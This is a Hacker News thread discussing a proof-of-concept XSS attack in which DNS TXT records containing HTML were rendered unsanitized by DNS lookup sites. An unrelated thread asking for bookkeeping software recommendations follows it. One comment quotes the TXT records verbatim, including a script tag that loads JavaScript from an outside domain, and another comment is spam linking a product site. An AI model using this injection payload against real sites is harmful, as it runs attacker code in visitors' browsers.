[http://dnscheck.pingdom.com/?domain=grepular.com](http://dnscheck.pingdom.com/?domain=grepular.com)
Although takes a minute before it kicks in. I did report it to them at the
time, but never got a response.
------
bwy
Wish there was a warning, because I accidentally clicked this link in class
just now.
~~~
iLoch
Don't browse with your volume turned up? How do you assume you wont be
interacting with any pages that may produce noise?
------
0x0
Can it be done with CNAME and SRV records too?
------
homakov
XSS on a shitty website not doing trivial sanitization gets 900 points on HN,
oh guys you are disappointing me so much.
------
Thaxll
It has nothing to to do with TXT record, it's just the website that render
html. It could be any source.
~~~
jonknee
It has everything to do with the TXT record... Every XSS could be summed up
with "just the website that renders HTML", but that's pretty much the point.
TXT records aren't often thought of as input and as you can see several sites
made that mistake of assumption.
------
gsharma
Not sure how Trulia handles input for its usernames, but at one point I was
able to do this [http://www.trulia.com/profile/-iframe--home-buyer-loleta-
ca-...](http://www.trulia.com/profile/-iframe--home-buyer-loleta-ca-2860517)
------
sidcool
I opened this link on my Android's Chrome browser. The top search text input
started wildly convulsing. First I thought the post was about that. But I
didn't really get what this is about.
~~~
ccorcos
i don't really get it either
------
sanqui
Looks like the who.is site has patched the exploit up a few minutes ago.
~~~
kk3399
yes, but not fixed here yet -
[http://mxtoolbox.com/SuperTool.aspx?action=txt:jamiehankins....](http://mxtoolbox.com/SuperTool.aspx?action=txt:jamiehankins.co.uk&run=toolpage)
------
js2
All editors should, upon save, put up the following prompt:
"I acknowledge the code just written does not trust its input, under penalty
of being whipped by a wet noodle."
But I guess folks would just click through.
Sigh.
------
Cance
For more information, visit this site >>>>>>>
[http://getformulat10.com/](http://getformulat10.com/)
------
gcr
Warning: this page links to (loud!) automatic playing audio.
------
tekknolagi
This is hysterical.
------
indielol
Wouldn't this make it super easy for Google to ban (show the security warnings
in Chrome) the domains?
------
nerdy
Best POC ever.
------
_RPM
When I went to the page, it started playing music. I find that very
frustrating and annoying.
~~~
wittrock
That's the point--who.is won't play music by itself. Its lookup of the DNS
records of jaimehawkins.co.uk injected the music into the page.
~~~
_RPM
Oh I see. This makes sense. This doesn't seem challenging to prevent. A simple
replacement of characters on the HTML entity table would have prevented this
instead of putting arbitrary text onto standard output.
~~~
finnn
Correct. The purpose of this post is to demonstrate yet another class of
website that does not validate user input.
------
bdpuk
I've seen similar examples with HTTP headers and sites that display those,
nice angle.
------
general_failure
Well played sir, very well played
------
thomasfl
Finally somebody found a way to put html injection on to good use.
------
wqfeng
Could anyone tell me what's about? I just see a DNS page.
~~~
grimtrigger
It was fixed. But if you look ctrl+f "peniscorp" and you'll see a script that
was injected on the page
------
ginvok
Aaaand now I'm deaf :) Gotta learn sign language
------
iamwil
How does this work?
~~~
er0k
jamiehankins.co.uk. 33 IN TXT "<script src='//peniscorp.com/topkek.js'></script>"
jamiehankins.co.uk. 33 IN TXT "<iframe width='420' height='315' src='//www.youtube.com/embed/dQw4w9WgXcQ?autoplay=0' frameborder='0' allowfullscreen></iframe>"
------
tedchs
FYI it looks like who.is fixed the XSS bug.
------
ing33k
good hack but really stupid of me to click it directly :\
------
PaulSec
I wonder how this got so much points.. Reflected XSS in 2014, yeah..
------
himanshuy
What's up with the search box?
~~~
MiguelHudnandez
That is from topkek.js. Pretty clever! It plays the harlem shake song. One
element shakes by itself until the second phase of the song, then lots of
other elements start shaking.
Cleverness aside, it is practical when looking for XSS vulnerabilities because
it's _very obvious_ when you've succeeded in injecting your code.
------
zobzu
That made me laugh, good one :)
------
notastartup
man...I woke up and got a dose of surprise....love this song.
------
r0m4n0
isn't this technically illegal to demonstrate haha?
~~~
__david__
Why on earth would it be illegal?
~~~
r0m4n0
dam, that got downvoted into oblivion haha. honest question...
although i dont believe it should be, a third party injecting javascript to
demonstrate an exploit might be...
~~~
maaaats
He hasn't injected anything. It's just his public DNS record that this page
has chosen to display without sanitizing.
~~~
pbhjpbhj
I imagine the UK Computer Misuse Act (eg at Section 3,
[http://www.legislation.gov.uk/ukpga/1990/18](http://www.legislation.gov.uk/ukpga/1990/18))
probably covers it if the person who altered the TXT field does so to cause
websites to load code on purpose, that purpose being for example to impair
(Section 3(2)(a)) the running of the computer [causing Rick Astley to play,
defo counts!] - but it can be read to cover pretty much anything.
Similarly I imagine something like the CFAA (18 USC 1030) probably has broad
enough clauses to make this sort of action technically illegal, at least in
some cases? But I'm out of my depth on that one.
~~~
r0m4n0
at least the UK has something somewhat specific (and actually fits XSS quite
well).
CA 502c just says: "(3) Knowingly and without permission uses or causes to be
used computer services" amongst other very broad subsections
[http://support.piercecollege.edu/1521a/References/California...](http://support.piercecollege.edu/1521a/References/California%20Penal%20Code%20Computer%20Crimes%20Section%20502.aspx)
------
st3fan
Wonderful!
------
sprkyco
Luckily it does not work on my normal browser:
[https://www.whitehatsec.com/aviator/](https://www.whitehatsec.com/aviator/)
| {
"pile_set_name": "HackerNews"
} |
Ask HN: Web based bookkeeping? - tonydewan
I'm looking for bookkeeping software for my new company. We're geographically distributed, so desktop software isn't really an option. We also generally hate Quickbooks. Are there other options? We currently use and love Harvest for time tracking/invoicing/estimating, but it's lacking as a full accounting tool. Same goes for Freshbooks. Is there anything besides QuickBooks Online?
======
johng
Xero.com -- been using them for about 2 years now, very happy.
They also tie into freshbooks.com which we use for customer billing.
Combined they allow us to focus on other stuff, like building the business....
we have one guy that does the accounting stuff and it goes really smoothly.
------
jeffepp
I prefer <http://outright.com> and its free.
------
augustflanagan
check out these guys - <http://lessaccounting.com/>
~~~
percept
And their story's here:
<http://mixergy.com/less-allan-branch/>
| {
"pile_set_name": "HackerNews"
} |
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